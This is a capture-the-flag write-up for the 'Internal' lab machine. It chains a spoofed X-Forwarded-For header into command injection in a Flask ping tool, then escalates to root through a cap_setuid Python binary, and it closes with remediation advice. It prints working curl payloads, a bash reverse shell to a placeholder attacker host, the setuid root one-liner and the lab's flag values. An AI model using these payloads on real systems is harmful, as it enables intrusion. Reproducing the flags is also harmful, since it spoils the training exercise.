HACKERDNA INTERNAL · TWO SPOOFABLE TRUST BOUNDARIES, ONE ROOT

Internal — Networking Services

A ping tool trusts a client-supplied `X-Forwarded-For` to waive its input filter → command injection as `sysadmin` → a Python binary carrying `cap_setuid` → root.

MACHINE	CATEGORY	DIFFICULTY
Internal	Web / Network	Hard
TARGET	**RESULT**	**OPERATOR**
Flask + Gunicorn · aarch64	user + root	Cody Richard · ssstrickys

TECHNICAL BRIEF · EXECUTIVE SUMMARY

You cannot filter by a header the attacker writes, and you cannot cap_setuid an interpreter.

Category **Web + Privilege Escalation** · Difficulty **Hard** · Foothold **OS command injection** · Root **Linux capability (`cap_setuid`)**

The perimeter shows an **nginx** placeholder on `:80` and a **Gunicorn**-hosted Flask app — "Networking Services" — on `:8080`. Its `/ping` tool concatenates the `host` field straight into `subprocess.getoutput("ping -c 1 " + host)`. Remote requests are gated by an alphanumeric-only regex, but the gate is **skipped entirely when the request carries `X-Forwarded-For: 127.0.0.1`** — a header the client fully controls. Spoofing it turns the tool into arbitrary command execution as `sysadmin`.

On the host, `getcap -r /` reveals `/app/python3new` holding **`cap_setuid=ep`**. A capability-bearing Python interpreter is a root shell with one line: `os.setuid(0)`. Foothold to root in two moves, both rooted in the same mistake — trusting something the attacker controls.

CHAIN

#	LAYER	TECHNIQUE	RESULT
1	Recon	nmap 22/80/8080 · route enum	Gunicorn "Networking Services" app
2	Command injection	`POST /ping` · `X-Forwarded-For: 127.0.0.1`	filter bypassed
3	Foothold / RCE	`host=127.0.0.1; <cmd>`	uid=1000 (sysadmin) · user flag
4	Enumeration	`getcap -r /` · SUID · `ss`	`cap_setuid` on `python3new`
5	Privilege escalation	`python3new -c 'os.setuid(0)'`	uid=0 (root) · root flag

01 · RECONNAISSANCE

A quiet nginx front, a talkative Gunicorn back

A moderate service scan (deliberately paced — this lab firewalls loud scanners) returns three ports.

$ NMAP -PN -SV --TOP-PORTS 1000 -T3 52.16.207.100 RECON

```
22/tcp   open  ssh     OpenSSH 9.6 (protocol 2.0)
80/tcp   open  http    nginx          # static "Server is Running · nothing to see here"
8080/tcp open  http    Gunicorn       # the real app — Flask "Networking Services"
```

The app on `:8080` is a Bootstrap "Networking Services" portal exposing a single interesting tool at `/ping` — a **Host Ping Checker** with a `host` field posted to `/ping`. Any web tool that "pings a host" is a command-execution candidate.

GET /PING — THE FORM SURFACE

```
<form action="/ping" method="post">
  <input type="text" name="host" placeholder="e.g., www.example.com">
  <button type="submit">Ping</button>
</form>
```

02 · COMMAND INJECTION & THE XFF GATE

"Special characters not allowed *from remote access*"

A metacharacter probe is rejected — but the wording of the rejection is the whole vulnerability:

$ POST /PING HOST=127.0.0.1; ID — PROBE

```
$ curl -s --data-urlencode 'host=127.0.0.1; id' <target>:8080/ping
Invalid input: Special characters not allowed from remote access
# "from remote access" -> the filter is conditional on where the request appears to come from
```

The application decides "local vs remote" from a **client-supplied header**. Spoofing `X-Forwarded-For` to a loopback address waives the filter entirely:

$ SAME PAYLOAD + X-FORWARDED-FOR: 127.0.0.1 — BYPASS

```
$ curl -s -H 'X-Forwarded-For: 127.0.0.1' \
       --data-urlencode 'host=127.0.0.1; id' <target>:8080/ping
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin)
```

The recovered source (read post-foothold) shows exactly why — and that the intended local value is `127.1` or `127.0.0.1`, with **no filtering at all** on that branch:

/APP/DIST/APP.PY — PING_HOST() — SOURCE

```
RESTRICTED_CHARACTERS_PATTERN = r'^[a-zA-Z0-9.]+$'

host = request.form['host']
x_forwarded_for = request.headers.get('X-Forwarded-For', '')

if x_forwarded_for == '127.1' or x_forwarded_for == '127.0.0.1':
    output = subprocess.getoutput("ping -c 1 " + host)      # UNFILTERED — direct injection
else:
    if not re.match(RESTRICTED_CHARACTERS_PATTERN, host):
        return "Invalid input: Special characters not allowed from remote access"
    output = subprocess.getoutput("ping -c 1 " + host)
```

ROOT CAUSE

`subprocess.getoutput` runs its string through `/bin/sh -c`. Concatenating user input into that string is command injection; the only "control" is an **attacker-writable header**. There is no scenario in which `X-Forwarded-For` is a trustworthy source identity.

03 · FOOTHOLD — RCE AS SYSADMIN

From ping to a shell

The injection is stable RCE. Wrapping payloads in `X-Forwarded-For: 127.0.0.1` and `host=127.0.0.1 -c 1; <cmd>` gives clean, repeatable execution as `sysadmin` (`uid=1000`) on an aarch64 host, kernel 6.1.174:

$ INTERNAL_RCE.PY 'ID; HOSTNAME; UNAME -M' RCE

```
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin)
ip-10-0-5-105.eu-west-1.compute.internal
aarch64
```

A reverse shell is the natural interactive foothold (the injection carries any payload):

REVERSE SHELL PAYLOAD (VIA THE INJECTION) REVSHELL

```
host=127.0.0.1; bash -c 'bash -i >& /dev/tcp/<ATTACKER>/<PORT> 0>&1'
# header: X-Forwarded-For: 127.0.0.1  (waives the character filter)
```

The user flag sits world-readable in the home tree:

$ CAT /HOME/FLAG-USER.TXT USER

```
1e8a171a-bcc2-259e-9b8f-362372f4a4b5
```

04 · SYSTEM & NETWORK ENUMERATION

One capability rewrites the whole trust model

Standard post-foothold sweeps. `sudo` is absent; SUID is minimal; but the capability scan is decisive:

SYSADMIN@INTERNAL $ ENUMERATION — ENUM

```
$ getcap -r / 2>/dev/null
/app/python3new cap_setuid=ep          # <-- root in one line

$ find / -perm -4000 -type f 2>/dev/null
/bin/ping
/bin/bbsuid
$ command -v sudo   # -> not found
```

Network reconnaissance shows the host is dual-homed on an internal segment — an `eth1` on `10.0.5.105/20` with live ARP neighbors, plus an internal-only service on `:7681`:

$ IP -O ADDR · IP NEIGH · SS -TLNP — NETRECON

```
eth1   inet 10.0.5.105/20 scope global          # internal corporate segment
neigh  10.0.0.1 / 10.0.0.2  REACHABLE           # internal gateways / hosts
tcp LISTEN 0.0.0.0:8080  (python3)              # the app
tcp LISTEN 10.0.5.105:7681                      # internal-only (web terminal), not needed
```

READ

Both flags live on this host, so the internal segment is scenery — but it is the "lateral movement" the brief advertises, and the capability finding makes any pivot unnecessary: root is local.

05 · PRIVILEGE ESCALATION — ROOT

`cap_setuid` on Python is `setuid(0)` away from root

A file capability of `cap_setuid=ep` means the binary starts with the **SETUID** capability in its *effective* and *permitted* sets — it can change its UID to anything, including 0. On a general-purpose interpreter that is game over: the attacker supplies the code.

SYSADMIN@INTERNAL $ CAPABILITY → ROOT ROOT

```
$ /app/python3new -c 'import os; os.setuid(0); os.system("id; cat /root/flag-root.txt")'
uid=0(root) gid=1000(sysadmin) groups=1000(sysadmin)
b7f0388a-cae0-3e53-e93c-0a4bb7e67496
```

WHY IT WORKS

`=ep` puts SETUID in the effective set at exec, so `os.setuid(0)` succeeds with no further steps (no capability-raising dance needed). The GID stays 1000, but `uid=0` is sufficient to read root-owned files and spawn a root shell.

06 · IMPACT & REMEDIATION

Two controls, both trusting the wrong thing

ROOT CAUSES & FIXES

- **Command injection via string concatenation.** Never build a shell string from user input. Use `subprocess.run(["ping","-c","1",host], shell=False)` with an argument list, and validate `host` as a hostname/IP.
- **Trust derived from a spoofable header.** `X-Forwarded-For` is attacker-controlled unless set by a trusted proxy and read from the correct position. Basing an authorization/filter decision on it is a bypass by construction. Even then, the "local" branch removing *all* filtering is the actual bug — the filter should never be conditional.
- **Capability on an interpreter.** `cap_setuid` (like `cap_setuid` on `python`, `perl`, or a SUID interpreter) is equivalent to granting root. Remove it (`setcap -r /app/python3new`); if a specific privileged action is required, wrap it in a minimal, non-interpreter helper with the narrowest capability and a fixed code path.
- **Least privilege.** The web app runs as `sysadmin` with a clear path to a capability binary. Segregate the service account from any privileged tooling.

LESSON

Both the foothold and the escalation are the same anti-pattern at different layers: a security decision delegated to something the attacker controls — a request header, then an interpreter. Trust boundaries must be enforced by the side that owns them.

APPENDIX · LEDGER

Flags & attack-surface reference

USER	1e8a171a-bcc2-259e-9b8f-362372f4a4b5	CAPTURED
ROOT	b7f0388a-cae0-3e53-e93c-0a4bb7e67496	CAPTURED

ATTACK SURFACE REFERENCE

- **entry** — POST :8080/ping · host param → subprocess.getoutput("ping -c 1 "+host).
- **bypass** — X-Forwarded-For: 127.0.0.1 (or 127.1) waives the ^[a-zA-Z0-9.]+$ filter.
- **foothold** — RCE / reverse shell as sysadmin (uid 1000).
- **privesc** — /app/python3new cap_setuid=ep → os.setuid(0).
- **internal** — eth1 10.0.5.105/20 · neigh 10.0.0.1/2 · :7681 (unused).

Solved user + root. A ping box that trusted a header and a capability — neither of which it controlled.